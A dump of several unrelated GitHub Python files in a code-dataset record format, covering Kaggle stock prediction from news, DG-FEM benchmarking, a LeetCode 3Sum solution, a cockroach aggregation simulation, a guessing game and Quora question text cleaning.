print(market_train['assetName'].isin(news_train['assetName']).value_counts())\n# print(market_train['time'].nunique())\n# print(news_train['time'].nunique())\n# print(news_train['time'].describe())\n\n\n# In[ ]:\n\ncat_cols = ['assetCode','assetName']\nnum_cols = ['volume', 'close', 'open', 'returnsClosePrevRaw1', 'returnsOpenPrevRaw1', 'returnsClosePrevMktres1',\n 'returnsOpenPrevMktres1', 'returnsClosePrevRaw10', 'returnsOpenPrevRaw10', 'returnsClosePrevMktres10',\n 'returnsOpenPrevMktres10','sentimentNegative','sentimentNeutral','sentimentPositive','relevance','companyCount','bodySize',\n 'sentenceCount','wordCount','firstMentionSentence']\n\n\n# In[ ]:\n\nfrom sklearn.model_selection import train_test_split\ntrain_indices, val_indices = train_test_split(market_train.index.values,test_size=0.25, random_state=23)\n\n\n# # Handling categorical variables\n\n# In[ ]:\n\ndef encode(encoder, x):\n len_encoder = len(encoder)\n try:\n id = encoder[x]\n except KeyError:\n id = len_encoder\n return id\nencoders = [{} for i in range(len(cat_cols))]\nfor i, cat in enumerate(cat_cols):\n print('encoding %s ...' % cat, end=' ')\n encoders[i] = {l: id for id, l in enumerate(market_train.loc[train_indices, cat].unique())}\n market_train[cat] = market_train[cat].astype(str).apply(lambda x: encode(encoders[i], x))\n print('Done')\n\nembed_sizes = [len(encoder) + 1 for encoder in encoders] #+1 for possible unknown assets\n\n\n# # Handling numerical variables\n\n# In[ ]:\n\nfrom sklearn.preprocessing import StandardScaler \nimport matplotlib\n# market_train[num_cols] = market_train[num_cols].fillna(0)\n#异常点过滤\n# print(market_train['close'][market_train['close'] > 1000].count())\n# print(market_train['open'][market_train['open'] > 1000].count())\n# print(market_train['volume'][market_train['volume'] > 1e+08].count())\n\nmarket_train['close'].clip(upper = 1000, inplace = True)\nmarket_train['open'].clip(upper = 1000, inplace = True)\nmarket_train['volume'].clip(upper = 1e+08, inplace = True)\n\n# matplotlib.rcParams['figure.figsize'] = (12.0, 6.0)\n# prices = pd.DataFrame({\"close\":market_train[\"close\"], \"log(close + 1)\":np.log1p(market_train[\"close\"])})\n# prices.hist(bins = 10)\n# 一定同时进行待预测数据集的对数转换\n# 开盘价,收盘价不太符合正态分布,进行一个对数转换\n# market_train['close'] = np.log1p(market_train['close'])\n# market_train['open'] = np.log1p(market_train['open'])\n\nprint('scaling numerical columns')\nscaler = StandardScaler()\ncol_mean = market_train[num_cols].mean()\nmarket_train[num_cols]=market_train[num_cols].fillna(col_mean)\n\nscaler = StandardScaler()\nmarket_train[num_cols] = scaler.fit_transform(market_train[num_cols])\n# market_train.describe()\n# market_train[num_cols].isna()\n# market_train['returnsClosePrevMktres1'].isnull().value_counts()\n\n\n# # Prepare data\n\n# In[ ]:\n\ndef get_input(market_train, indices):\n X = market_train.loc[indices, num_cols]\n for cat in cat_cols:\n X[cat] = market_train.loc[indices, cat].values\n y = (market_train.loc[indices,'returnsOpenNextMktres10'] >= 0).values\n r = market_train.loc[indices,'returnsOpenNextMktres10'].values\n u = market_train.loc[indices, 'universe']\n d = market_train.loc[indices, 'time'].dt.date\n return X,y,r,u,d\n\n# r, u and d are used to calculate the scoring metric\nX_train,y_train,r_train,u_train,d_train = get_input(market_train, train_indices)\n\nX_valid,y_valid,r_valid,u_valid,d_valid = get_input(market_train, val_indices)\nX_train.shape\nprint(X_valid.shape)\n\n\n# # Train model using hyperopt to auto hyper_parameters turing\n\n# In[ ]:\n\n\nfrom xgboost import XGBClassifier\nimport lightgbm as lgb\nfrom functools import partial\nfrom hyperopt import hp, fmin, tpe\nfrom sklearn.metrics import mean_squared_error\nalgo = partial(tpe.suggest, n_startup_jobs=10)\ndef auto_turing(args):\n #model = XGBClassifier(n_jobs = 4, n_estimators = args['n_estimators'],max_depth=6)\n model = lgb.LGBMClassifier(n_estimators=args['n_estimators'])\n model.fit(X_train,y_train.astype(int))\n confidence_valid = model.predict(X_valid)*2 -1\n score = accuracy_score(confidence_valid>0,y_valid)\n print(args,score)\n return -score\n# space = {\"n_estimators\":hp.choice(\"n_estimators\",range(20,200))}\n# print(fmin)\n# best = fmin(auto_turing, space, algo=algo,max_evals=30)\n# print(best)\n\n# 单机xgb程序\nmodel = XGBClassifier(n_jobs = 4, n_estimators = 50, max_depth=6)\nmodel.fit(X_train,y_train.astype(int))\nconfidence_valid = model.predict(X_valid)*2 -1\nscore = accuracy_score(confidence_valid>0,y_valid)\nprint(score)\nprint(\"MSE\")\nprint(mean_squared_error(confidence_valid > 0, y_valid.astype(float)))\n# 单机lgb程序\n# import lightgbm as lgb\n# model = lgb.LGBMClassifier(n_estimators=70)\n# model.fit(X_train,y_train.astype(int))\n# confidence_valid = model.predict(X_valid)*2 -1\n# score = accuracy_score(confidence_valid>0,y_valid)\n# print(score)\n\n# from sklearn.ensemble import RandomForestClassifier\n# distribution of confidence that will be used as submission\n# plt.hist(confidence_valid, bins='auto')\n# plt.title(\"predicted confidence\")\n# plt.show()\n# these are tuned params I found\n \n\n\n# Result validation\n\n# In[ ]:\n\n# calculation of actual metric that is used to calculate final score\nr_valid = r_valid.clip(-1,1) # get rid of outliers. Where do they come from??\nx_t_i = confidence_valid * r_valid * u_valid\ndata = {'day' : d_valid, 'x_t_i' : x_t_i}\ndf = pd.DataFrame(data)\nx_t = df.groupby('day').sum().values.flatten()\nmean = np.mean(x_t)\nstd = np.std(x_t)\nscore_valid = mean / std\nprint(score_valid)\nmarket_train.describe()\n\n\n# # Prediction\n\n# In[ ]:\n\ndays = env.get_prediction_days()\n\n\n# In[ ]:\n\nn_days = 0\npredicted_confidences = np.array([])\nfrom collections import deque\nnews_pre = deque()\nnews_all = pd.DataFrame()\nBaseMod = 50\nfor (market_obs_df, news_obs_df, predictions_template_df) in days:\n n_days +=1\n print(n_days,end=' ')\n news_all = pd.concat([news_all,news_obs_df])\n if n_days >= BaseMod and n_days % BaseMod >= 0 and n_days % BaseMod < 8:\n news_pre.append(news_obs_df)\n elif n_days >= BaseMod and n_days % BaseMod == 8:\n del news_all\n gc.collect()\n news_all = pd.DataFrame()\n for item in news_pre:\n news_all = pd.concat([news_all,item])\n news_pre.clear()\n \n# index = news_all['time'][news_all['time'].dt.hour > 22].index\n# news_all.loc[index,'time'] = news_all.loc[index,'time'].dt.ceil('d')\n news_all['time'] = news_all['time'].dt.floor('d')\n news_last = pd.DataFrame()\n \n# for col in cols:\n# if col != 'relevance':\n# print(col)\n# news_all[col] = news_all[col] * news_all['relevance']\n #聚合每一个日期前三天内的新闻数据,影响股价走势\n news_last = get_news_train(news_all)\n\n market_obs_df['key'] = market_obs_df['time'].astype(str) + market_obs_df['assetName'].astype(str)\n market_obs_df = market_obs_df.join(news_last,on = 'key',how='left')\n \n #异常点过滤\n market_obs_df['close'].clip(upper = 1000, inplace = True)\n market_obs_df['open'].clip(upper = 1000, inplace = True)\n market_obs_df['volume'].clip(upper = 1e+08, inplace = True)\n \n # 对数转换\n# market_obs_df['close'] = np.log1p(market_obs_df['close'])\n# market_obs_df['open'] = np.log1p(market_obs_df['open'])\n \n# col_mean = [num_cols].mean()\n #归一化\n market_obs_df[num_cols]=market_obs_df[num_cols].fillna(col_mean)\n market_obs_df[num_cols] = scaler.transform(market_obs_df[num_cols])\n X_test = market_obs_df[num_cols]\n X_test['assetCode'] = market_obs_df['assetCode'].apply(lambda x: encode(encoders[0], x)).values\n X_test['assetName'] = market_obs_df['assetName'].apply(lambda x: encode(encoders[1], x)).values\n\n \n market_prediction = model.predict(X_test)*2 -1\n predicted_confidences = np.concatenate((predicted_confidences, market_prediction))\n\n preds = pd.DataFrame({'assetCode':market_obs_df['assetCode'],'confidence':market_prediction})\n # insert predictions to template\n predictions_template_df = predictions_template_df.merge(preds,how='left').drop('confidenceValue',axis=1).fillna(0).rename(columns={'confidence':'confidenceValue'})\n env.predict(predictions_template_df)\n del news_last\n gc.collect()\n\nenv.write_submission_file()\n\n\n# In[ ]:\n\n# distribution of confidence as a sanity check: they should be distributed as above\nplt.hist(predicted_confidences, bins='auto')\nplt.title(\"predicted confidence\")\nplt.show()\n\n","repo_name":"JCreeks/Kaggle_UsingNewsPredictStock","sub_path":"kernels/with_news_10_31_0669.py","file_name":"with_news_10_31_0669.py","file_ext":"py","file_size_in_byte":11891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34847662213","text":"__doc__ = \"\"\"\nA binary for running DG-FEM benchmarks for an array of arraycontexts. Call as\n``python run.py -h`` for a detailed description on how to run the benchmarks.\n\"\"\"\n\nimport argparse\nimport loopy as lp\nimport numpy as np\nimport datetime\nimport pytz\n\nfrom dg_benchmarks.measure import get_flop_rate\nfrom dg_benchmarks.perf_analysis import get_roofline_flop_rate\nfrom typing import Type, Sequence\nfrom bidict import bidict\nfrom meshmode.array_context import (\n BatchedEinsumPytatoPyOpenCLArrayContext,\n PyOpenCLArrayContext as BasePyOpenCLArrayContext,\n)\nfrom arraycontext import ArrayContext, PytatoJAXArrayContext, EagerJAXArrayContext\nfrom tabulate import tabulate\n\n\nclass PyOpenCLArrayContext(BasePyOpenCLArrayContext):\n def transform_loopy_program(self,\n t_unit: lp.TranslationUnit\n ) -> lp.TranslationUnit:\n from meshmode.arraycontext_extras.split_actx.utils import (\n split_iteration_domain_across_work_items)\n t_unit = split_iteration_domain_across_work_items(t_unit, self.queue.device)\n return t_unit\n\n\ndef _get_actx_t_priority(actx_t):\n if issubclass(actx_t, PytatoJAXArrayContext):\n return 10\n else:\n return 1\n\n\ndef stringify_flops(flops: float) -> str:\n if np.isnan(flops):\n return \"N/A\"\n else:\n return f\"{flops*1e-9:.1f}\"\n\n\ndef main(equations: Sequence[str],\n dims: Sequence[int],\n degrees: Sequence[int],\n actx_ts: Sequence[Type[ArrayContext]],\n ):\n flop_rate = np.empty([len(actx_ts), len(dims), len(equations), len(degrees)])\n roofline_flop_rate = np.empty([len(dims), len(equations), len(degrees)])\n\n # sorting `actx_ts` to run JAX related operations at the end as they only\n # free the device memory atexit\n for iactx_t, actx_t in sorted(enumerate(actx_ts),\n key=lambda k: _get_actx_t_priority(k[1])):\n for idim, dim in enumerate(dims):\n for iequation, equation in enumerate(equations):\n for idegree, degree in enumerate(degrees):\n flop_rate[iactx_t, idim, iequation, idegree] = (\n get_flop_rate(actx_t, equation, dim, degree)\n )\n\n for idim, dim in enumerate(dims):\n for iequation, equation in enumerate(equations):\n for idegree, degree in enumerate(degrees):\n roofline_flop_rate[idim, iequation, idegree] = (\n get_roofline_flop_rate(equation, dim, degree)\n )\n filename = (datetime\n .datetime\n .now(pytz.timezone(\"America/Chicago\"))\n .strftime(\"archive/case_%Y_%m_%d_%H%M.npz\"))\n\n np.savez(filename,\n equations=equations, degrees=degrees,\n dims=dims, actx_ts=actx_ts, flop_rate=flop_rate,\n roofline_flop_rate=roofline_flop_rate)\n\n for idim, dim in enumerate(dims):\n for iequation, equation in enumerate(equations):\n print(f\"GFLOPS/s for {dim}D-{equation}:\")\n table = [[\"\",\n *[_NAME_TO_ACTX_CLASS.inv[actx_t]\n for actx_t in actx_ts],\n \"Roofline\"]]\n for idegree, degree in enumerate(degrees):\n table.append(\n [f\"P{degree}\",\n *[stringify_flops(flop_rate[iactx_t, idim, iequation, idegree])\n for iactx_t, _ in enumerate(actx_ts)],\n stringify_flops(roofline_flop_rate[idim, iequation, idegree])\n ]\n )\n print(tabulate(table, tablefmt=\"fancy_grid\"))\n\n\n_NAME_TO_ACTX_CLASS = bidict({\n \"pyopencl\": PyOpenCLArrayContext,\n \"jax:nojit\": EagerJAXArrayContext,\n \"jax:jit\": PytatoJAXArrayContext,\n \"pytato:batched_einsum\": BatchedEinsumPytatoPyOpenCLArrayContext,\n})\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n prog=\"run.py\",\n description=\"Run DG-FEM benchmarks for arraycontexts\",\n )\n\n parser.add_argument(\"--equations\", metavar=\"E\", type=str,\n help=(\"comma separated strings representing which\"\n \" equations to time (for ex. 'wave,euler')\"),\n required=True,\n )\n parser.add_argument(\"--dims\", metavar=\"D\", type=str,\n help=(\"comma separated integers representing the\"\n \" topological dimensions to run the problems on\"\n \" (for ex. 2,3 to run 2D and 3D versions of the\"\n \" problem)\"),\n required=True,\n )\n parser.add_argument(\"--degrees\", metavar=\"G\", type=str,\n help=(\"comma separated integers representing the\"\n \" polynomial degree of the discretizing function\"\n \" spaces to run the problems on (for ex. 1,2,3\"\n \" to run using P1,P2,P3 function spaces)\"),\n required=True,\n )\n parser.add_argument(\"--actxs\", metavar=\"G\", type=str,\n help=(\"comma separated integers representing the\"\n \" polynomial degree of the discretizing function\"\n \" spaces to run the problems on (for ex.\"\n \" 'pyopencl,jax:jit,pytato:batched_einsum')\"),\n required=True,\n )\n\n args = parser.parse_args()\n main(equations=[k.strip() for k in args.equations.split(\",\")],\n dims=[int(k.strip()) for k in args.dims.split(\",\")],\n degrees=[int(k.strip()) for k in args.degrees.split(\",\")],\n actx_ts=[_NAME_TO_ACTX_CLASS[k] for k in args.actxs.split(\",\")],\n )\n","repo_name":"kaushikcfd/dg_benchmarks","sub_path":"dg_benchmarks/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2267425771","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nauthor: mabin\ndate : 2018-05-29\n===================\n[16. 3Sum Closest](https://leetcode.com/problems/3sum-closest/description/) | Medium\n===================\nproblem description\n===================\nGiven an array nums of n integers and an integer target, find three integers\nin nums such that the sum is closest to target. Return the sum of the three\nintegers. You may assume that each input would have exactly one solution.\n\nExample:\n\nGiven array nums = [-1, 2, 1, -4], and target = 1.\n\nThe sum that is closest to the target is 2. (-1 + 2 + 1 = 2).\n\"\"\"\n\n\nclass Solution(object):\n # solution 1\n def threeSumClosest(self, nums, target):\n if len(nums) < 3:\n return 0\n nums.sort()\n closest = sum(nums[:3])\n for i, v in enumerate(nums[:-2]):\n if i > 1 and v == nums[i-1]:\n continue\n l = i + 1\n r = len(nums) - 1\n while l < r:\n total = v + nums[l] + nums[r]\n if total == target:\n return target\n if abs(target-total) < abs(target-closest):\n closest = total\n if total < target:\n l += 1\n else:\n r -= 1\n return closest\n\n\nif __name__ == '__main__':\n\n tests = [\n ([-1, 2, 1, -4], 1)\n ]\n for t in tests:\n print(t, Solution().threeSumClosest(t[0], t[1]))\n\n\"\"\"tips\nsolution 1: https://leetcode.com/problems/3sum-closest/discuss/7883/\nC++-solution-O(n2)-using-sort\n\"\"\"\n","repo_name":"sammua/LeetCode","sub_path":"Algorithms/Python/016.3sum-closest.py","file_name":"016.3sum-closest.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26728494307","text":"from traceback import format_exc\n\nimport re\nimport requests\n\nfrom models import Session\nfrom models import RottenMovie\nfrom models import AmazonMovie\nfrom models import WebPage\n\n\ndef main():\n session = Session()\n\n for idx, rotten_movie in enumerate(\n session.query(RottenMovie).filter(\n RottenMovie.amazon_movie_id.is_(None),\n RottenMovie.affiliate_amazon_valid.is_(True), )):\n # if rotten_movie.id < 1623:\n # continue\n\n m = re.search('^http://www.amazon.com/gp/product/(?P.*)$',\n rotten_movie.affiliate_amazon_url)\n if not m:\n assert re.search('^http://www.amazon.com/gp/video/primesignup',\n rotten_movie.affiliate_amazon_url)\n continue\n\n url = '/{}'.format(m.group('path'))\n print('>>', rotten_movie.id, url)\n\n amazon_movie = session.query(AmazonMovie).filter_by(url=url).first()\n if amazon_movie is None:\n amazon_movie = AmazonMovie(url=url)\n session.add(amazon_movie)\n\n rotten_movie.amazon_movie = amazon_movie\n if idx % 100 == 0:\n session.commit()\n session.commit()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JoonyoungYi/movielens-crawler","sub_path":"parsers/amazon_movie.py","file_name":"amazon_movie.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"10327744535","text":"import numpy as np\nimport pygame\nimport time\nfrom typing import Tuple\nfrom datetime import timedelta\n\nfrom simulation.agent import Agent\nfrom simulation.utils import normalize, truncate\nfrom experiments.aggregation.config import config\n\n\n\n\"\"\"\nSpecific ant properties and helperfunctions \n\"\"\"\n\nclass Cockroach(Agent):\n\n def __init__(\n self, pos, v, cockroach, index: int, image: str = \"experiments/aggregation/images/ant.png\",count: int = 0, wandering = True, leaving = False, joining = False, still = False\n ) -> None:\n\n super(Cockroach, self).__init__(\n pos,\n v,\n image,\n max_speed=config[\"agent\"][\"max_speed\"],\n min_speed=config[\"agent\"][\"min_speed\"],\n mass=config[\"agent\"][\"mass\"],\n width=config[\"agent\"][\"width\"],\n height=config[\"agent\"][\"height\"],\n dT=config[\"agent\"][\"dt\"],\n index=index,\n )\n self.count = count\n self.cockroach = cockroach\n self.wandering = wandering\n self.leaving = leaving\n self.joining = joining\n self.still = still\n\n def check_leave(self):\n m, sd = 0.62, 0.1\n pleave = np.random.normal(m, sd) - (self.neighbors() / 100)\n u = np.random.uniform(0.1, 1.0)\n if pleave > 0.5:\n return True\n else:\n return False\n\n def in_site(self):\n coord = self.pos\n if (210 < coord[0] < 390 and 590 > coord[1] > 410) or (610 < coord[0] < 790 and 590 > coord[1] > 410) or (410 < coord[0] < 590 and 390 > coord[1] > 210) or (410 < coord[0] < 590 and 790 > coord[1] > 610):\n return True\n else:\n return False\n\n def stop_moving(self) -> None:\n self.dT = 0\n\n def keep_moving(self) -> None:\n self.dT = 0.2\n\n def update_actions(self) -> None:\n print(self.pos)\n m, sd = 0.4, 0.15 # mean and standard deviation\n pjoin = np.random.normal(m, sd) + (self.neighbors() / 100)\n u = np.random.uniform(0.7, 1.0)\n for site in self.cockroach.objects.sites:\n collide = pygame.sprite.collide_mask(self, site)\n if bool(collide) and pjoin > u and self.wandering:\n self.wandering = False\n self.joining = True\n print(\"joining\")\n if self.joining:\n self.count += 1\n print(self.count)\n if self.count > 4 and self.in_site():\n self.joining = False\n self.count = 0\n self. still = True\n elif self.in_site() != True:\n self.joining = False\n self.count = 0\n self.wandering = True\n elif self.still:\n self.stop_moving()\n self.count += 1\n print(\"still\")\n if (self.count % 500 == 0):\n print(self.count)\n print(\"intento\")\n if self.check_leave():\n print(\"Si\")\n self.still = False\n self.leaving = True\n self.count = 0\n else:\n print(\"no\")\n self.count = 0\n elif self.leaving:\n print(self.count)\n print(\"Leaving\")\n self.count+=1\n self.keep_moving()\n #self.count =+1\n if self.count >150:\n self.leaving = False\n self.wandering = True\n elif self.wandering:\n self.keep_moving()\n self.count = 0\n print(\"wandering\")\n\n ##obstacle avoidance\n for obstacle in self.cockroach.objects.obstacles:\n collide = pygame.sprite.collide_mask(self, obstacle)\n if bool(collide):\n self.avoid_obstacle()\n\n def neighbors(self) -> int:\n n_neighbors = 0\n neighbors = self.cockroach.find_neighbors(self, config[\"ant\"][\"radius_view\"])\n for n in neighbors:\n n_neighbors += 1\n return n_neighbors\n","repo_name":"andresgr96/Agent-Based-Covid-Simulation","sub_path":"experiments/aggregation/cockroach.py","file_name":"cockroach.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35558263281","text":"import random\n\n\ndef run():\n numero_a_caso = random.randint(1, 100)\n numero_scelto = int(input('Scegli un numero da 1 a 100: '))\n while numero_scelto != numero_a_caso:\n if numero_scelto < numero_a_caso:\n print('Cerca un numero più grande')\n else:\n print('Cerca un numero più piccolo')\n numero_scelto = int(input('Scegli un altro numero: '))\n print('¡Hai Vinto!')\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"manurias/indovina-il-numero","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4157828653","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 20 22:54:01 2016\n\n@author: jaguirre\n\"\"\"\n\nimport numpy as np\nimport pylab as plt\nimport MRTtools as mrt\nreload(mrt)\n\naz,el,v = np.loadtxt('DATA',unpack=True)\np = mrt.zx47_60(v)\nN= 50\nsmp = np.convolve(p, np.ones((N,))/N,mode='same')\nsmp -= 16.\nsmp /= smp.max()\n\nplt.figure(1)\nplt.clf()\n#plt.plot(az,p)\nplt.plot(az,smp)\nplt.plot([az.min(),az.max()],[0,0])\nplt.plot([az.min(),az.max()],[0.5,0.5])\nplt.plot([21.5,21.5],[0,1],'c')\nplt.plot([34,34],[0,1],'c')\n","repo_name":"UPennEoR/MiniRadioTelescope","sub_path":"Analyses/analyze_mrt_data.py","file_name":"analyze_mrt_data.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":312,"dataset":"github-code","pt":"29"} +{"seq_id":"73795789197","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 2 15:01:35 2017\r\n\r\n@author: DK\r\n\"\"\"\r\nfrom sklearn.neural_network import MLPClassifier\r\nimport gc\r\nimport numpy as np\r\nimport pandas as pd\r\nimport plotly.offline as py\r\npy.init_notebook_mode(connected=True)\r\nimport re\r\nfrom string import punctuation\r\nimport gensim\r\ntrain = pd.read_csv(\"D://train.csv\")\r\nvalidation= pd.read_csv(\"D://test.csv\")#Validation are KAGGLE data for which we should pick examples.\r\ntrain = train.fillna('empty')\r\nvalidation = validation.fillna('empty')\r\nfrom sklearn.model_selection import train_test_split\r\n#1.1 Разделить train.csv на тренировочный сет и тестовый сет. Соотношение 70/30\r\nnp.random.seed(1)\r\ndf_train, df_test = train_test_split(train, test_size = 0.1)\r\n#1)Загрузка датасета word2vec.csv\r\nWord2Vec = gensim.models.KeyedVectors.load_word2vec_format('file://C:/Users/DK/GoogleNews-vectors-negative300.bin', binary=True)#Word2Vec embedding\r\nembed_size=300#size of the embedding\r\n#delete all columns with non-alphabetical and non-numeric characters\r\ndef vector(word):\r\n return Word2Vec[word] if word in Word2Vec else np.zeros(embed_size)\r\n\r\ngc.collect()\r\n#Anything EXCEPT FOR letters A-Z a-z should be deleted in order to should \r\n#2)для каждой пары предложений:\r\n#2.1)почистить знаки препинания\r\n#скопировать text_to_wordlist из \"the importance of cleaning text\", \r\ndef text_to_wordlist(text):#making replacements\r\n text = re.sub(r\"[^A-Za-z0-9]\", \" \", text)\r\n text = re.sub(r\"what's\", \"what is\", text)\r\n text = re.sub(r\"What's\", \"what is\", text)\r\n text = re.sub(r\"\\'s\", \" \", text)\r\n text = re.sub(r\"\\'ve\", \" have \", text)\r\n text = re.sub(r\"can't\", \"cannot \", text)\r\n text = re.sub(r\"n't\", \" not \", text)\r\n text = re.sub(r\"I'm\", \"I am\", text)\r\n text = re.sub(r\" m \", \" am \", text)\r\n text = re.sub(r\"\\'re\", \" are \", text)\r\n text = re.sub(r\"\\'d\", \" would \", text)\r\n text = re.sub(r\"\\'ll\", \" will \", text)\r\n text = re.sub(r\"60k\", \" 60000 \", text)\r\n text = re.sub(r\" e g \", \" eg \", text)\r\n text = re.sub(r\" b g \", \" bg \", text)\r\n text = re.sub(r\"\\0s\", \"0\", text)\r\n text = re.sub(r\" 9 11 \", \"911\", text)\r\n text = re.sub(r\"e-mail\", \"email\", text)\r\n text = re.sub(r\"\\s{2,}\", \" \", text)\r\n text = re.sub(r\"quikly\", \"quickly\", text)\r\n text = re.sub(r\" usa \", \" America \", text)\r\n text = re.sub(r\" USA \", \" America \", text)\r\n text = re.sub(r\" u s \", \" America \", text)\r\n text = re.sub(r\" uk \", \" England \", text)\r\n text = re.sub(r\" UK \", \" England \", text)\r\n text = re.sub(r\"india\", \"India\", text)\r\n text = re.sub(r\"switzerland\", \"Switzerland\", text)\r\n text = re.sub(r\"china\", \"China\", text)\r\n text = re.sub(r\"chinese\", \"Chinese\", text) \r\n text = re.sub(r\"imrovement\", \"improvement\", text)\r\n text = re.sub(r\"intially\", \"initially\", text)\r\n text = re.sub(r\"quora\", \"Quora\", text)\r\n text = re.sub(r\" dms \", \"direct messages \", text) \r\n text = re.sub(r\"demonitization\", \"demonetization\", text) \r\n text = re.sub(r\"actived\", \"active\", text)\r\n text = re.sub(r\"kms\", \" kilometers \", text)\r\n text = re.sub(r\"KMs\", \" kilometers \", text)\r\n text = re.sub(r\" cs \", \" computer science \", text) \r\n text = re.sub(r\" upvotes \", \" up votes \", text)\r\n text = re.sub(r\" iPhone \", \" phone \", text)\r\n text = re.sub(r\"\\0rs \", \" rs \", text) \r\n text = re.sub(r\"calender\", \"calendar\", text)\r\n text = re.sub(r\"ios\", \"operating system\", text)\r\n text = re.sub(r\"gps\", \"GPS\", text)\r\n text = re.sub(r\"gst\", \"GST\", text)\r\n text = re.sub(r\"programing\", \"programming\", text)\r\n text = re.sub(r\"bestfriend\", \"best friend\", text)\r\n text = re.sub(r\"dna\", \"DNA\", text)\r\n text = re.sub(r\"III\", \"3\", text) \r\n text = re.sub(r\"the US\", \"America\", text)\r\n text = re.sub(r\"Astrology\", \"astrology\", text)\r\n text = re.sub(r\"Method\", \"method\", text)\r\n text = re.sub(r\"Find\", \"find\", text) \r\n text = re.sub(r\"banglore\", \"Banglore\", text)\r\n text = re.sub(r\" J K \", \" JK \", text)\r\n text = re.sub(r\"[^A-Za-z0-9^,!.\\/'+-=]\", \" \", text)\r\n text = re.sub(r\"what's\", \"what is \", text)\r\n text = re.sub(r\"\\'s\", \" \", text)\r\n text = re.sub(r\"\\'ve\", \" have \", text)\r\n text = re.sub(r\"can't\", \"cannot \", text)\r\n text = re.sub(r\"n't\", \" not \", text)\r\n text = re.sub(r\"i'm\", \"i am \", text)\r\n text = re.sub(r\"\\'re\", \" are \", text)\r\n text = re.sub(r\"\\'d\", \" would \", text)\r\n text = re.sub(r\"\\'ll\", \" will \", text)\r\n text = re.sub(r\",\", \" \", text)\r\n text = re.sub(r\"\\.\", \" \", text)\r\n text = re.sub(r\"!\", \" ! \", text)\r\n text = re.sub(r\"\\/\", \" \", text)\r\n text = re.sub(r\"\\^\", \" ^ \", text)\r\n text = re.sub(r\"\\+\", \" + \", text)\r\n text = re.sub(r\"\\-\", \" - \", text)\r\n text = re.sub(r\"\\=\", \" = \", text)\r\n text = re.sub(r\"'\", \" \", text)\r\n text = re.sub(r\"(\\d+)(k)\", r\"\\g<1>000\", text)\r\n text = re.sub(r\":\", \" : \", text)\r\n text = re.sub(r\" e g \", \" eg \", text)\r\n text = re.sub(r\" b g \", \" bg \", text)\r\n text = re.sub(r\" u s \", \" american \", text)\r\n text = re.sub(r\"\\0s\", \"0\", text)\r\n text = re.sub(r\" 9 11 \", \"911\", text)\r\n text = re.sub(r\"e - mail\", \"email\", text)\r\n text = re.sub(r\"j k\", \"jk\", text)\r\n text = re.sub(r\"\\s{2,}\", \" \", text)\r\n text=text.lower()#to lower case\r\n # Return a list of words\r\n return(text)\r\n#скопировать process_questions. \r\ndef process_questions(question_list, questions, question_list_name, dataframe):\r\n '''transform questions and display progress'''\r\n for question in questions:\r\n question_list.append(text_to_wordlist(question))\r\n if len(question_list) % 100000 == 0:\r\n progress = len(question_list)/len(dataframe) * 100\r\n print(\"{} is {}% complete.\".format(question_list_name, round(progress, 1)))\r\n #We pre-process train data, test data and validation data from Kaggle \r\ntrain_question1 = []\r\nprocess_questions(train_question1, df_train.question1, 'train_question1', df_train)\r\ntrain_question2 = []\r\nprocess_questions(train_question2, df_train.question2, 'train_question2', df_train)\r\ntest_question1 = []\r\nprocess_questions(test_question1, df_test.question1, 'test_question1', df_test)\r\ntest_question2 = []\r\nprocess_questions(test_question2, df_test.question2, 'test_question2', df_test)\r\nvalidation_question1=[]\r\nprocess_questions(validation_question1, validation.question1, 'validation_question1', validation)\r\nvalidation_question2=[]\r\nprocess_questions(validation_question2, validation.question2, 'validation_question2', validation)\r\n#train_question1, train_question2, test_question1 и test_question2 получать так, как там,\r\n# только последние 2 - из нашего собственного test сета\r\n#2.2)убрать в 1м предложении каждое из слов, которые есть во 2м предложении, одновременно те же слова убирать и во 2м предложении\r\n#def DeleteCommonWords(string1, string2):\r\n# toremove = []\r\n# Words1=str.split(string1)#новый объект: массив всех слов из первой строки. \r\n# Words2=str.split(string2)#То же и для второй\r\n# for i in iter(Words1):\r\n# if i in Words2:#i встречается в Words2 хотя бы на 1 позиции)\r\n# toremove.append(i)\r\n# Words2.remove(i)\r\n# #All values in toremove should occur ONLY min(number of occurences in Words1,number of occurences in Words2) times\r\n# \r\n# for i in toremove:\r\n# Words1.remove(i)\r\n# \r\n# return Words1,Words2,toremove\r\n#from sklearn.ensemble import RandomForestClassifier\r\n#def QuestionPairsToVectorMatrix(train_question1,train_question2):\r\n# #мы удалили все лишние слова\r\n##1е предложение представить как среднее арифметическое векторов всех слов, то же и для 2го предложения.\r\n# difference=np.zeros((2*embed_size,len(train_question1)))\r\n##записать один вектор поверх другого\r\n# for i in range(0,len(train_question1)):#for each training example\r\n# if i%1000==0:\r\n# print('index ' + str(i))\r\n# train_question1_words, train_question2_words,_= DeleteCommonWords(train_question1[i],train_question2[i])\r\n# word1 = np.repeat(0,embed_size)\r\n# word2=np.repeat(0,embed_size)\r\n# if len(train_question1_words)>0:\r\n# for word in train_question1_words:\r\n# word1=word1+vector(word)\r\n# word1=word1/len(train_question1_words)\r\n# if len(train_question2_words)>0:\r\n# for word in train_question2_words:\r\n# word2=word2+vector(word)\r\n# word2=word2/len(train_question2_words)\r\n# newvector=np.concatenate([word1,word2],axis=0)\r\n# difference[:,i]=newvector\r\n# return 